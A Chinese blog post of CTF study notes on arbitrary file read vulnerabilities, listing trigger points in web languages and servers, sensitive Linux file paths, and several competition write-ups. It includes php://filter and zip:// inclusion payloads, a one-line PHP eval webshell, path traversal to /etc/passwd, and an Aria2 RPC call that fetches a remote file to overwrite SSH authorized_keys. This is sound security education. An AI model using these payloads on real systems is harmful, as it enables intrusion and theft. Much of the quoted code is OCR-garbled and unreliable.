从0到1 CTFer成功之路》任意文件读取漏洞---学习笔记

原创

aweiname2008 于 2021-08-08 22:22:46 发布 860 收藏

分类专栏： 渗透测试 《从0到1 CTFer成功之路》Nu1LCTFer学习笔记 文章标签： r语言 java 数据库

版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。

本文链接：https://blog.csdn.net/aweiname2008/article/details/119522187

版权

渗透测试 同时被 2 个专栏收录

5 篇文章 0 订阅

订阅专栏

《从0到1 CTFer成功之路》Nu1LCTFer学习笔记

4 篇文章 0 订阅

订阅专栏

1.3 任意文件读取漏洞

所谓文件读取漏洞，就是攻击者通过一些手段可以读取服务器上开发者不允许读到的文件。从整个攻击过程来看，它常常作为资产信息搜集的一种强力的补充手段，服务器的各种配置文件、文件形式存储的密钥、服务器信息（包括正在执行的进程信息）、历史命令、网络信息、应用源码及二进制程序都在这个漏洞触发点被攻击者窥探。

文件读取漏洞常常意味着被攻击者的服务器即将被攻击者彻底控制。当然，如果服务器严格按照标准的安全规范进行部署，即使应用中存在可利用的文件读取漏洞，攻击者也很难拿到有价值的信息。文件读取漏洞在每种可部署Web应用的程序语言中几乎都存在。当然，此处的“存在”本质上不是语言本身的问题，而是开发者在进行开发时由于对意外情况考虑不足所产生的疏漏。

业界公认的代码库通常被称为“轮子”，程序可以通过使用这些“轮子”极大地减少重复工作量。如果“轮子”中存在漏洞，在“轮子”代码被程序员多次迭代复用的同时，漏洞也将一级一级地传递，而随着对底层“轮子”代码的不断引用，存在于“轮子”代码中的安全隐患对于处在“调用链”顶端的开发者而言几乎接近透明。对于挖掘Web应用框架漏洞的安全人员来说，能否耐心对这条“调用链”逆向追根溯源也是一个十分严峻的挑战。另外，有一种任意文件读取漏洞是开发者通过代码无法控制的，这种情况的漏洞常常由Web Server自身的问题或不安全的服务器配置导致。Web Server运行的基本机制是从服务器中读取代码或资源文件，再把代码类文件传送给解释器或CGI程序执行，然后将执行的结果和资源文件反馈给客户端用户，而存在于其中的众多文件操作很可能被攻击者干预，进而造成诸如非预期读取文件、错误地把代码类文件当作资源文件等情况的发生。

1.3.1文件读取漏洞常用触发点

1.3.1.1 WEB语言

1. PHP

PHP标准函数中有关文件读的部分不再详细介绍，这些函数包括但可能不限于：file_get_contents()、file()、fopen()函数（及其文件指针操作函数fread()、fgets()等），与文件包含相关的函数（include()、require()、include_once()、require_once()等），以及通过PHP读文件的执行系统命令（system()、exec()等）。这些函数在PHP应用中十分常见，所以在整个PHP代码审计的过程中，这些函数会被审计人员重点关注

PHP开发技术越来越倾向于单入口、多层级、多通道的模式，其中涉及PHP文件之间的调用密集且频繁。开发者为了写出一个高复用性的文件调用函数，就需要将一些动态的信息传入（如可变的部分文件名）那些函数（见图1-3-1）

```
public static function registerComposerLoader($composerPath)
{
if (is_file(scomposerPath . ' autoload_namespaces. php'))
{
 smap = require $composerPath. ' autoload_namespaces. php';
 oreach (smap as snamespace => $path)
 {
  self::addPsro(snamespace, $path);
 }
}
  if (is_file($composerPath . ' autoload_psr4. php'))
  {
    smap = require $composerPath. ' autoload_psr4. php';
    oreach (smap as snamespace => $path)
    {
     self: : addPsr4(snamespace, spath);
     if (is_file(scomposerPath . ' autoload_classmap. php'))
     {
      sclassMap = require $composerPath. ' autoload_classmap. php';
      if (sclassMap)
      {
       self::addClassMap(sclassMap);
      }
     }
    }
  }
```

PHP扩展也提供了一些可以读取文件的函数，例如，php-curl扩展（文件内容作为HTTP body）涉及文件存取的库（如数据库相关扩展、图片相关扩展）、XML模块造成的XXE等。
在遇到的有关PHP文件包含的实际问题中，我们可能遇到三种情况：
①文件路径前面可控，后面不可控；
②文件路径后面可控，前面不可控；
③文件路径中间可控。

2. Python

Python的Web应用更多地倾向于通过其自身的模块启动服务，同时搭配中间件、代理服务将整个Web应用呈现给用户，用户和Web应用交互的过程本身就包含对服务器资源文件的请求，所以容易出现非预期读取文件的情况。

3.Java

除了Java本身的文件读取函数FileInputStream、XXE导致的文件读取，Java的一些模块也支持“file://”协议，这是Java应用中出现任意文件读取最多的地方，如Spring Cloud ConfigServer路径穿越与任意文件读取漏洞（CVE-2019-3799）、Jenkins任意文件读取漏洞（CVE-2018-1999002）等

4. Ruby

Ruby的任意文件读取漏洞通常与Rails框架相关。到目前为止，我们已知的通用漏洞为Ruby On Rails远程代码执行漏洞（CVE-2016-0752）、Ruby On Rails路径穿越与任意文件读取漏洞（CVE-2018-3760）、Ruby On Rails路径穿越与任意文件读取漏洞（CVE-2019-5418）

5.Node

已知Node.js的express模块曾存在任意文件读取漏洞（CVE-2017-14849），但笔者还未遇到相关CTF赛题。CTF中Node的文件读取漏洞通常为模板注入、代码注入等情况。

1.3.1.2 中间件/服务器相关

1. Nginx错误配置

Nginx一般被视为Python-Web反向代理的最佳实现。然而它的配置文件如果配置错误，就容易造成严重问题。

```
Location /static {
 alias /home/myapp/static/;
}
```

很可能是运维或者开发人员想让用户可以访问static目录（一般是静态资源目录）。但是，如果用户请求的Web路径是/static…/，拼接到alias上就变成了/home/myapp/static/…/，此时便会产生目录穿越漏洞，并且穿越到了myapp目录
注意：漏洞的成因是location最后没有加“/”限制，Nginx匹配到路径static后，把其后面的内容拼接到alias，如果传入的是/static…/，Nginx并不认为这是跨目录，而是把它当作整个目录名，所以不会对它进行跨目录相关处理。

2. 数据库

MySQL的load_file()函数可以进行文件读取，但是load_file()函数读取文件首先需要数据库配置FILE权限（数据库root用户一般都有），其次需要执行load_file()函数的MySQL用户/用户组对于目标文件具有可读权限（很多配置文件都是所有组/用户可读），主流Linux系统还需要Apparmor配置目录白名单（默认白名单限制在MySQL相关的目录下），可谓“一波三折”。即使这么严格的利用条件，我们还是经常可以遇到相关的文件读漏洞。

3. 软链接

bash命令ln-s可以创建一个指向指定文件的软链接文件，然后将这个软链接文件上传至服务器，当我们再次请求访问这个链接文件时，实际上是请求在服务端它指向的文件。

4. FFmpeg

2017年6月，FFmpeg被爆出存在任意文件读取漏洞

5. Docker-API

Docker-API可以控制Docker的行为，一般来说，Docker-API通过UNIX Socket通信，也可以通过HTTP直接通信。当我们遇见SSRF漏洞时，尤其是可以通过SSRF漏洞进行UNIX Socket通信的时候，就可以通过操纵Docker-API把本地文件载入Docker新容器进行读取（利用Docker的ADD、COPY操作），从而形成一种另类的任意文件读取。

1.3.1.3 客户端相关

1. 浏览器/Flash XSS

一般来说，很多浏览器会禁止JavaScript代码读取本地文件的相关操作，如请求一个远程网站，如果它的JavaScript代码中使用了File协议读取客户的本地文件，那么此时会由于同源策略导致读取失败。但在浏览器的发展过程中存在着一些操作可以绕过这些措施，如Safari浏览器在2017年8月被爆出存在一个客户端的本地文件读取漏洞。

2. MarkDown语法解析器XSS

与XSS相似，Markdown解析器也具有一定的解析JavaScript的能力。但是这些解析器大多没有像浏览器一样对本地文件读取的操作进行限制，很少有与同源策略类似的防护措施

1.3.2 文件读取漏洞常见读取路径

1.3.2.1 Linux

1. flag名称（相对路径）

有时fuzz一下flag名称便可以得到答案。注意以下文件名和后缀名

2. 服务器信息（绝对路径）

（1）/etc目录/etc目录下多是各种应用或系统配置文件，所以其下的文件是进行文件读取的首要目标。
(2)/etc/passwd/etc/passwd文件是Linux系统保存用户信息及其工作目录的文件，权限是所有用户/组可读，一般被用作Linux系统下文件读取漏洞存在性判断的基准。读到这个文件我们就可以知道系统存在哪些用户、他们所属的组是什么、工作目录是什么。
(3)/etc/shadow/etc/shadow是Linux系统保存用户信息及（可能存在）密码（hash）的文件，权限是root用户可读写、shadow组可读。所以一般情况下，这个文件是不可读的。(4)/etc/apache2/*/etc/apache2/是Apache配置文件，可以获知Web目录、服务端口等信息。CTF有些题目需要参赛者确认Web路径。(5)/etc/nginx/*/etc/nginx/是Nginx配置文件（Ubuntu等系统），可以获知Web目录、服务端口等信息。(6)/etc/apparmor(.d)/(6)/etc/apparmor(.d)/*/etc/apparmor（.d）/是Apparmor配置文件，可以获知各应用系统调用的白名单、黑名单。例如，通过读配置文件查看MySQL是否禁止了系统调用，从而确定是否可以使用UDF（User Defined Functions）执行系统命令。(7)/etc/(cron.d/|crontab)/etc/（cron.d/|crontab）是定时任务文件。有些CTF题目会设置一些定时任务，读取这些配置文件就可以发现隐藏的目录或其他文件。(8)/etc/environment/etc/environment是环境变量配置文件之一。环境变量可能存在大量目录信息的泄露，甚至可能出现secret key泄露的情况。(9)/etc/hostname/etc/hostname表示主机名。(10)/etc/hosts/etc/hosts是主机名查询静态表，包含指定域名解析IP的成对信息。通过这个文件，参赛者可以探测网卡信息和内网IP/域名。(11)/etc/issue/etc/issue指明系统版本。(12)/etc/mysql/*/etc/mysql/是MySQL配置文件。(13)/etc/php/*/etc/php/*是PHP配置文件。（14）/proc目录/proc目录通常存储着进程动态运行的各种信息，本质上是一种虚拟目录。注意：如果查看非当前进程的信息，pid是可以进行暴力破解的，如果要查看当前进程，只需/proc/self/代替/proc/[pid]/即可。（15）其他目录Nginx配置文件可能存在其他路径：

```
/usr/local/nginx/conf/*（源代码安装或其他一些系统）
```

日志文件：

```
/var/log/*
（经常出现Apache2的Web应用可读/var/log/apache2/access.log从而分析日志，盗取其他选手的解题步骤）
```

Apache默认Web根目录：

```
/var/www/html/
```

PHP session目录：

```
/var/lib/php（5）/sessions/（泄露用户session）
```

用户目录：

```
[user_dir-you_know]/.bash-history
《泄露历史执行命令）
[user_dir-you_know]/.bashro
（部分环境变量）
[user_dir-you-know]/.ssh/id-rsa（.pub）
（ssh登录私钥/公钥）
[user_dir-you_know]/.viminfo
（vim使用记录）
```

[pid]指向进程所对应的可执行文件。有时我们想读取当前应用的可执行文件再进行分析，但在实际利用时可能存在一些安全措施阻止我们去读可执行文件，这时可以尝试读取/proc/self/exe。例如：
/proc/[pid]/fa/（112.）
/proc/[pid]/maps
/proc/[pid]/（mountslmountinfo）.
/proc/[pid]/net/*
（读取[pid]指向进程的stdout或stderror或其他）
（[pid]指向进程的内存映射）
[pid]指向进程所在的文件系统挂载情况.CTF常见的是Docker环境这时mounts会泄露一些敏感路径）
（[pid]指向进程的网络信息，如读取TCP将获取进程所绑定的TCP端口ARP将泄露同网段内网IP信息）

1.3.3 文件读取漏洞实例

根据大量相关CTF真题的整理，本节介绍文件读取漏洞的实战，希望参赛者在阅读后仔细总结，熟练掌握，对日后解题会有很大帮助。

1.3.3.1 兵者多诡（HCTF 2016）

【题目简介】在home.php中存在一处include函数导致的文件包含漏洞，传至include函数的路径参数前半部分攻击者可控，后半部分内容确定，不可控部分是后缀的.php。

```
$fp = empty($_GET['fp'])?'fail':$_GET['fp'];
if(preg_match('/\.\./',$fp))
{
 die('No NO NO!');
}
if(preg_match('/rm/i',$_SERVER["QUERY_STRING"]))
{
 die();
}
if($fp !== 'fail')
{
 if(!(include($fp.'.php')))
 {

 }
}
```

在upload.php处存在文件上传功能，但上传至服务器的文件名不可控。

```
//function. php
function create_imagekey(){
return shal($_SERVER['REMOTE-ADDR'].$_SERVER[' HTTP-USER-AGENT'].time().mt-rand());
...
//upload. php
$imagekey = create_imagekey();
move_uploaded_file($name, "uploads/$imagekey.png");
echo "<script>location.href='? fp=show&imagekey=$imagekey'</script>";
...
```

解决思路：

发现首页只有一个上传表单，先上传一个正常文件进行测试。通过对上传的数据进行抓包，发现POST的数据传输到了“？fp=upload”，接着跟随数据跳转，会发现结果跳转到“？fp=show&imagekey=xxx”

经验程度不同的参赛者的思考方向会产生差异：

1. 第一步
   新手： 可以先测试上传功能
   有经验的：看到fp参数，会联想到file pointer，即fp的值可能与文件相关。
2. 第二步接下来的差异会在第一步的基础上继续扩大。
   新手：这个文件上传的防护机制到底该怎样绕过？
   有经验者：直接访问show.php、upload.php，或者想办法寻找文件中名含有show、upload等特殊含义的PHP文件，或者把show/upload改成其他已知文件"home"。
   更有经验的参赛者：将fp参数的内容改为“./show”“…/html/show”等。我们无法得知文件包含的目标文件具体路径是什么，如果是一个很奇怪的路径，就无法找到其原始PHP文件，这时“./show”形式能很好地解决这个困难，进而轻松地判断这里是否存在任意文件包含漏洞。
3. 第三步新手：这道题一定需要0day才能绕过防护，我可以放弃了。有经验的参赛者：
   根据直接访问“show.php/upload.php"和 "?fp=home"的结果，判断这里是一个include文件包含。利用Filter机制，构造形如“php://filter/convert.base64-encode/resource=xxx” 的攻击数据读取文件，拿到各种文件的源码；利用 zip://协议，搭配上传的Zip文件，包含一个压缩的Webshell文件；再通过zip://协议调用压缩包中的Webshell，访问这个Webshell的链接为
   ?fp=zip://uploads/fe5elc43e6e6bcfd506f0307e8ed6ec7ecc3821d.png%231&shell=phpinfo();
   fe5e1c43e6e6bcfd506f0307e8ed6ec7ecc3821d.png (zipfile)-1. php (phpfile) => “<? php eval($_GET[' shell ']);?>”

【总结】

1. 题目首先考查了选手对于黑盒测试任意文件读取/包含漏洞的能力，每个人都有自己独有的测试思路，上面所写的思路仅供参考。在进行黑盒测试时，我们要善于捕获参数中的关键词，并且具有一定的联想能力。
2. 考查了参赛者对Filter的利用，如php://filter/convert.Base64-encode（将文件流通过Base64进行编码）。③考查了选手对zip://协议的利用：将文件流视为一个Zip文件流，同时通过“#”（%23）选出压缩包内指定文件的文件流。读者可能不太理解第③点，下面具体说明。我们上传一个Zip文件至服务器，当通过zip://协议解析这个压缩文件时，会自动将这个Zip文件按照压缩时的文件结构进行解析，然后通过“#（对应URL编码%23）+文件名”的方式对Zip内部所压缩的文件进行索引（如上面的例子就是内部存储了个名为1.php的文件）。这时整个文件流被定位到1.php的文件流，所以include实际包含的内容是1.php的内容，具体解析流程见图1-3-3。
   [外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RmGgreyz-1632131824084)
   (/uploads/l1215484545/images/m_aea429d493b82d779b5a5564c90a3cd4_r.png)]

1.3.3.2 PWNHUB-Classroom

实例简介：使用Django框架开发，并通过不安全的方式配置静态资源目录。

```
# urls.py
from django.conf.urls import url
from . import views
urlpatterns = [ url('"$', views . IndexView. as-view(), name=' index'), url('^login/$', views . LoginView. as_view), name=' login')
url('^logout/$', views. LogoutView. as_view(), name=' Logout'),
url('"static/(? Pspath>.*)', views. StaticFilesView. as_view(), name=' static')]
...
## views. py
class StaticFilesView(generic. View):
content_type = ' text/plain'


def get(self, request, * args, ** kwargs):
filename = self. kwargs [' path']
filename =os.path.join(settings.BASE_DIR, 'students', 'static', filename)
name, ext = os.path.splitext(filename)
if ext in ('.py', '.conf', '.sqlite3', '.yml'):
raise exceptions. PermissionDenied(Permission deny')
    try:
        return HttpResponse(Filewrapper(open(filename, ' rb'), 8192),
                    content_type=self. content_type)
  except BaseException as e: raise Http4o4(' static file not found')
....
```

【题目难度】中等。

【知识点】Python（Django）静态资源逻辑配置错误导致的文件读取漏洞；Pyc字节码文件反编译；Django框架ORM注入。

【解题思路】第一个漏洞：代码先匹配到用户传入的URL路径static/后的内容，再将这个内容传入os.path.join，与一些系统内定的目录拼接后形成一个绝对路径，然后进行后缀名检查，通过检查，该绝对路径将传入open()函数，读取文件内容并返回用户。

第二个漏洞：views.py的类LoginView中。可以看到，将用户传入的JSON数据加载后，加载得到的数据直接被代入了x.objects.filter（Django ORM原生函数）

```
class LoginView(JsonResponseMixin, generic. TemplateView):
    template_name = ' login. html
    def post(self, request, * args, ** kwargs):
        data =json. Loads(request. body. decode())
        stu = models. Student. objects. filter(** data).first()
        if not stu or stu. passkey != data[' passkey']:
          return self._jsondata('', 403)
        else:
          request. session[' is_login'] = True
          return self.. jsondata('', 200)
...
```

先打开题目，看到HTTP返回头部中显示的Server信息：

`Server: gunicorn/19.6.0 Django/1.10.3 CPython/3.5.2`

我们可以得知题目是使用Python的Django框架开发的，当遇到Python题目没有给源码的情况时，可以第一时间尝试是否存在目录穿越相关的漏洞（可能是Nginx不安全配置或Python框架静态资源目录不安全配置），这里使用“/etc/passwd”作为文件读取的探针，请求的路径为：

`/static/../../../../../../etc/passwd`

可以发现任意文件读取漏洞的确存在，但在随后尝试读取Python源代码文件时发现禁用了几个常见的后缀名，包括Python后缀名、配置文件后缀名、Sqlite后缀名、YML文件后缀名：

```
if ext in ('. py', '. conf', '. sqlite3', '. yml'):
  raise exceptions.PermissionDenied(' Permission deny')
```

在Python 3中运行Python文件时，对于运行的模块会进行缓存，并存放在__pycache__目录下，其中pyc字节码文件的命名规则为：

pycache/views.cpython-34.pyc是一个文件名的示例。这里其实考查的是对Python的了解和Django目录结构的认知。将请求的文件路径更换为符合上面规则的路径：

`/static/../__pycache__/urls. cpython-35.pyc`

成功地读取了PYC字节码文件。继续读取所有剩余的PYC文件，再反编译PYC字节码文件获取源代码。通过对获得的源码进行审计，我们发现存在ORM注入漏洞，继续利用该注入漏洞便可得到flag内容，见图1-3-4。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-MXTnreH6-1632131824086)(/uploads/l1215484545/images/m_ad450e01d3f736e9f6a59d42aa6c36d9_r.png)]

【总结】1. 参赛者要通过HTTP头中的指纹信息判断题目的相关环境。当然，这里可能涉及一些经验和技巧，需要通过大量的实践积累。2. 熟悉题目所用的环境和Web应用框架。即使参赛者刚开始时不熟悉，也要快速搭建并学习该环境、框架的特性，或者翻看查阅手册。注意：快速搭建环境并学习特性是CTF参赛者进行Web比赛的基本素养。3. 黑盒测试出目录穿越漏洞，进而进行任意文件读取。4. 源代码审计，根据2所述，了解框架特性后，通过ORM注入获得flag。

1.3.3.3 Show me the shell I(TCTF/0CTF 2018 Final)

【题目简介】题目的漏洞很明显，UpdateHead方法就是更新头像功能，用户传入的URL的协议可以为File协议，进而在Download方法中触发URL组件的任意文件读取漏洞。

```
//UserController. class
@ RequestMapping(value=("/headimg. do"}.
method={ org.Springframework.web.bind.annotation.RequestMethod.GET))

public void UpdateHead(@ RequestParam("url") string url)
{
    String downloadPath = this.request.getSession().getServletContext().getRealPath("/")+"/headimg/";
    String headurl ="/headimg/"+ HttpReq.Download(url, downloadPath);
    User user = (User) this.session.getAttribute("user");
    Integer uid = user.getId();
    this.userMapper.UpdateHeadurl(headurl, uid);

//HttpReq. class
...
public static String Download(String urlString, String path)
{
  String filename = "default.jpg";
  if (endwithImg(urlstring)) {
  try URL url = new URL(urlstring);
  URLConnection urlConnection = url.openConnection();
  urlConnection. setReadTimeout (5000): int size = urlConnection. getContentLength();   if(size < 10240)
  InputStream is = urlConnection. getInputStream();
  ...
```

【知识点】Java URL组件通过File协议列出目录结构，进而读取文件内容。

【解题思路】对Java class字节码文件进行反编译（JD）；通过代码审计，发现源码中存在的漏洞

【总结】参赛者要积累一定的经验，了解URL组件可使用的协议，赛后分享见图1-3-5。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-Dm1Y5KPf-1632131824088)(/uploads/l1215484545/images/m_246686925cef5f6ecd5c907afc2f3159_r.png)]

1.3.3.4 BabyIntranet I(SCTF 2018)

【题目简介】本题采用了Rails框架进行开发，存在Ruby On Rails远程代码执行漏洞（CVE-2016-0752），可以被任意读取文件（该漏洞其实质是动态文件渲染）。

```
def show
render params [: template]
end
```

通过读取源码发现，该应用程序使用了Rails的Cookie-Serialize模块，通过读取应用的密钥，构造恶意反序列化数据，进而执行恶意代码。

```
#config/initializers/cookies_serializer.rb
Rails.application.config.action_dispatch.cookies_serializer =:json
```

题目难度】中等。
【知识点】Ruby On Rails框架任意文件读取漏洞；Rails cookies反序列化。
【解题思路】对应用进行指纹探测，通过指纹信息发现是通过Rails框架开发的应用，接着可以在HTML源码中发现链接/layouts/c3JjX21w，对软链接后面的部分进行Base64解码，发现内容是src_ip。查阅Rails有关漏洞发现动态模板渲染漏洞（CVE-2016-0752），将…/…/…/…/…/…/etc/passwd编码成Base64放在layouts后，成功返回/etc/passwd文件的内容。尝试渲染日志文件（…/log/development.log）直接进行代码执行失败，发现没权限渲染这个文件，接着读取所有可读的代码或配置文件，发现使用了cookies_serializer模块。尝试读取当前用户环境变量发现没权限，于是尝试读取/proc/self/environ，获取到密钥后，使用metasploit中相应的Ruby反序列化攻击模块直接攻击。
【总结】①通过Ruby On Rails远程代码执行漏洞（CVE-2016-0752）进行任意文件读取（出题人对漏洞代码进行了一定程度的修改，使用了Base64编码），见图
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-VGlU8yhn-1632131824090)
(/uploads/l1215484545/images/m_43e3705c2c6eda2917b9f525356f3ecf_r.png)]
②服务器禁止了Log日志的读取权限，因此不能直接通过渲染日志完成getshell。通过读取源码，我们可以发现应用中使用了Rails的Cookie-Serialize模块。整个模块的处理机制是将真正的session_data序列化后通过AES-CBC模式加密，再用Base64编码2次，处理流程见图1-3-7。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-azEVeYAM-1632131824091)
(/uploads/l1215484545/images/m_8ed99d6be41ceaf390381971b5e1f608_r.png)]
从服务器返回的Set-Cookie也能印证这一点，见图1-3-8。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-OnNtaFeT-1632131824092)
(/uploads/l1215484545/images/m_34dfbc4c95822099b8c97d6dae32ef77_r.png)]
我们可以通过任意文件读取漏洞获取/proc/self/environ的环境变量，找到AES加密所使用的secret_key，接着借助secret_key伪造序列化数据。这样，当服务端反序列化时，就会触发漏洞执行恶意代码，见图1-3-9。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-kZ3G88wY-1632131824093)
(/uploads/l1215484545/images/m_bd3ffd1d8ec2466d7d959d171c2872c0_r.png)]

1.3.3.5 SimpleVN(BCTF 2018)

【题目简介】题目的功能主要分为如下两点。（1）用户可以设置一个模板用来被渲染，但是这个模板设置有一定的限制，只能使用“.”和字母、数字。另外，渲染模板的功能只允许127.0.0.1（本地）请求。

```
const checkPUG = (upug) => {
const fileterkeys = [' global', ' require']
return /^[a-zA-ze-9\.]*$/g. test(upug) && ! fileterkeys. some(t => upug.toLowerCase(). includes(t))
console. Log(' Generator pug template')
const uid = req. session. user. uid const body = #${upug}
console. Log ' body', body)
const upugPath= path. join(' users', utils. md5(uid), '$(uid). pug')
console. Log ' upugPath', upugPath)
try {
fs. writeFileSync(path. resolve(config. VIEWS_PATH, upugPath), body)
catch (err)
{

}
```

（2）题目中存在一个代理请求的服务，用户输入URL并提交，后端会启动Chrome浏览器去请求这个URL，并把请求页面截图，反馈给用户。当然，用户提交的URL也有一定限制，必须是本地配置的HOST（127.0.0.1）。这里存在一个问题，就是我们传入File协议的URL中的HOST部分是空的，所以也可以绕过这个检查。

```
const checkURL = (shooturl) => {
const myURL = new URL(shooturl)
return config. SERVER_HOST. incLudes(myURL. host)
```

【题目难度】中等。
【知识点】浏览器协议支持及view-source的利用；Node模板注入；HTTPRequest Header：Range。【
解题思路】通过审计源码，发现模板注入漏洞和服务端浏览器请求规则，同时找到了解题方向：获取flag的路径，并读取flag的内容。

```
const FLAG-PATH = path. resolve(constant. ROOT-PATH, '*))
const FLAGFILENAME = process. env. FLAGFILENAME ll '**
```

通过模板注入process.env.FLAGFILENAME获取flag文件名，获取整个Node应用所在目录process.env.PWD，使用view-source：输出被解析成HTML标签的结果，见图1-3-10。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-RWbTNRxH-1632131824094)
(/uploads/l1215484545/images/m_e45ad823400fb014de31924d8469d054_r.png)]
使用file://+绝对路径读取config.js中的FLAG_PATH，见图1-3-11。读取flag内容，使用HTTP请求头的Range来控制输出的开始字节和结束字节。题目中的flag文件内容很多，直接请求无法输出真正flag的部分，需要从中间截断开始输出，见图1-3-12。

[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-8JEgmdZf-1632131824095)
(/uploads/l1215484545/images/m_d1e2e6a2b1225c91aead6e60b4db54b0_r.png)]
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-W2xdbZNP-1632131824095)
(/uploads/l1215484545/images/m_37b47ce02f0833c49089c365cc3644ca_r.png)]
【总结】①题目中的任意文件读取其实与Node并无太大关系，实质上是利用浏览器支持的协议，属于比较新颖的题目。②读取文件的原则是按需读取而不盲目读取，盲目读取文件内容会浪费时间。③同样使用浏览器特性有关的题目还有同场比赛的SEAFARING2，通过SSRF漏洞攻击selenium server，控制浏览器请求file:///读取本地文件。读者如果感兴趣可以搜寻这道题。

1.3.3.6 Translate(Google CTF 2018)

【题目简介】根据题目返回的{{userQuery}}，我们容易想到试一下模板注入，使用数学表达式{{3*3}}进行测试。

```
"in_Lang-query_is_spelled": "In french, <b>((userQuery}}</b> is spelled
<b ng-bind=\"i18n. word(userQuery)\"></b>.".
```

通过{{this.$parent$.parent.window.angular.module（‘demo’）._invokeQueue[3][2][1]}}读取部分代码，发现使用了i18n.template渲染模板，通过i18n.template（’./flag.txt’）读取flag。

```
($compile, $sce, i18n) =>;
 var recursionCount = 0;
 return {
    restrict: 'A', Link: (scope, element, attrs) => t if (! attrs [' mylnclude']. match(/\. htmL$l\. jssl. json$/)) {
    throw new Error(' lnclude should only incLude html, json or js files d_o);
      }
      recursionCount++;
    if (recursionCount >= 20) {
     //ng-include a template that ng-include a template that....
     throw ErrorC' That's too recursive d-0);
     }
     element.html(i18n.template(attrs['mylncLude']));
     $compile(element. contents())(scope);
   }
  };
}
```

【题目难度】中等。
【知识点】Node模板注入；i18n.template读flag。
【解题思路】先发现模板注入，利用模板注入搜集信息，在已有信息的基础上，利用模板注入，调用可读文件的函数进行文件读取。
【总结】涉及Node模板注入的知识，需要参赛者对其机制有所了解；模板注入转换成文件读取漏洞。

1.3.3.7 看番就能拿Flag（PWNHUB）

【题目简介】扫描子域名，发现有一个站点记录了题目搭建过程（blog.loli.network）。发现Nginx配置文件如下：

```
Location /bangumi {
alias /var/www/htmL/bangumi/; Location /admin {
alias /var/www/html/yaaw/;
```

构造目录穿越后，在上级目录发现了Aria2的配置文件，见图1-3-12。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-sEHav0iA-1632131824096)
(/uploads/l1215484545/images/m_7cd9d2051df707b98140861297f6f424_r.png)]

```
enable-rpc=true
rpc-allow-origin-all=true
seed-time=0
Nail
disable-ipv6=true
rpc-listen-all=true
rpc-secret=FLAG{infactthisisnotthecorrectflag}
```

【题目难度】中等。
【知识点】Nginx错误配置导致目录穿越；Aria2任意文件写入漏洞。
【解题思路】先进行必要的信息搜集，包括目录、子域名等。在测试的过程中发现Nginx配置错误（依据前面的信息搜集到Nginx配置文件，也可以进行黑盒测试。黑盒测试很重要的就是对Nginx的特性及可能存在的漏洞很了解。这也可以节省我们信息搜集所需要的时间，直接切入第二个漏洞点）。利用Ngnix目录穿越获取Aria2配置文件，拿到rpc-secret。再借助Aria2任意文件写入漏洞，Aria2的API需要token也就是rpc-secret才可以调用，前面获取的rpc-secret便能起作用了。调用api配置allowoverwrite为true：

```
"jsonrpc":"2.9",
"method": "aria2. changeGLobalOption"
"id":1,
"params":
[
"token: FLAG(infactthisisnotthecorrectflag}",
"allowoverwrite": "true"
```

然后调用API下载远程文件，覆盖本地任意文件（这里直接覆盖SSH公钥），SSH登录获取flag。

```
{
 "jsonrpc":"2.0"
 ' method": "aria2. addUri"
 "id":1, params":
 [
   "token: FLAG(infactthisisnotthecorrectflag}"
    ["http://x.x.x.x/1. txt"],
    "dir":"/home/bangumi/. ssh"
    "out": "authorized_keys"
 ]
}
```

1.3.3.8 2013那年（PWNHUB)

【题目简介】（1）发现存在.DS_Store文件，见图1-3-13。
[外链图片转存失败,源站可能有防盗链机制,建议将图片保存下来直接上传(img-YdteLP1b-1632131824097)
(/uploads/l1215484545/images/m_7f13bf048a1ee0393f2ff73c48689120_r.png)]

（2）.DS_Store文件泄露当前目录结构，通过分析.DS_Store文件发现存在upload、pwnhub等目录。
（3）pwnhub目录在Nginx文件里被配置成禁止访问（比赛中前期无法拿到Nginx配置文件，只能通过HTTP code 403来判断），配置内容如下：

```
Location /pwnhub/ {
deny all;
}
```

（4）pwnhub存在隐藏的同级目录，其下的index.php文件可以上传TAR压缩包，且调用了Python脚本自动解压上传的压缩包，同时返回压缩包中文件后缀名为.cfg的文件内容。

```
<? php
//设置编码为UTF-8，以避免中文乱码
header（'Content-Type:text/html；charset=utf-8'）；
#没文件上传就退出
$file =$_FILES['upload']；
#文件名不可预测性
$salt = Base6uencode（'8gss7sd09129ajcjai2283u821hcsass'）.mt rand（80，65535）；
$name =（nd5（md5（$file['name'].$salt）.$salt）.'.tar'）；if（！isset（s-FILES['upload']）or！is-uploaded-file（sfile['tmp-name'）
exit；
#移动文件到相应的文件夹
if（move_uploaded_file（$file['tmp-name']，"/tmp/pwnhub/$name"））
ScfaName =trim（shell-exec（'python/usr/local/nginx/html/
6c58c8751bca32b9943b34deff29bc16/untar.py/tmp/pwnhub/'.$name））；
$cfgName = trim（$cfgName）；echo"<p>更新配置成功，内容如下</p>"；
//echo'sbr/»'；echo'stextarea cols="30"rows="15""；readfile（"/tmp/pwnhub/$cfgName"）；echo's/textarea>"；else echo（"Failed！"；
#/usr/local/nginx/html/6c58c8751bca32b9943b34doff29bc16/untar.py import tarfile import sys
  import uuid import os def untar(filename): os. chdir(/tmp/pwnhub/
t= tarfile. open(filename, 'r)
for i in t. getnames(): if ...' in i or '. cfg' != os. path. splitext(i)[1]: return ' error"
else: try: t. extract(i, '/tmp/pwnhub/')
except Exception, e: return e else: cfgName = str(uuid. uuid10) +'. cfg os. rename(i, cfgName)
return cfgName if name_=smain_-': filename = sys. argv[1]
if not tarfile. is-tarfile(filename): exit(' error")
else: print untar(filename)
```

（5）通过分析Linux的crontab定时任务，发现存在一个定时任务：
30 * * * * root sh /home/jdoajdoiq/jdijiqjwi/jiqjil2i3198ua x192/cron_run.sh
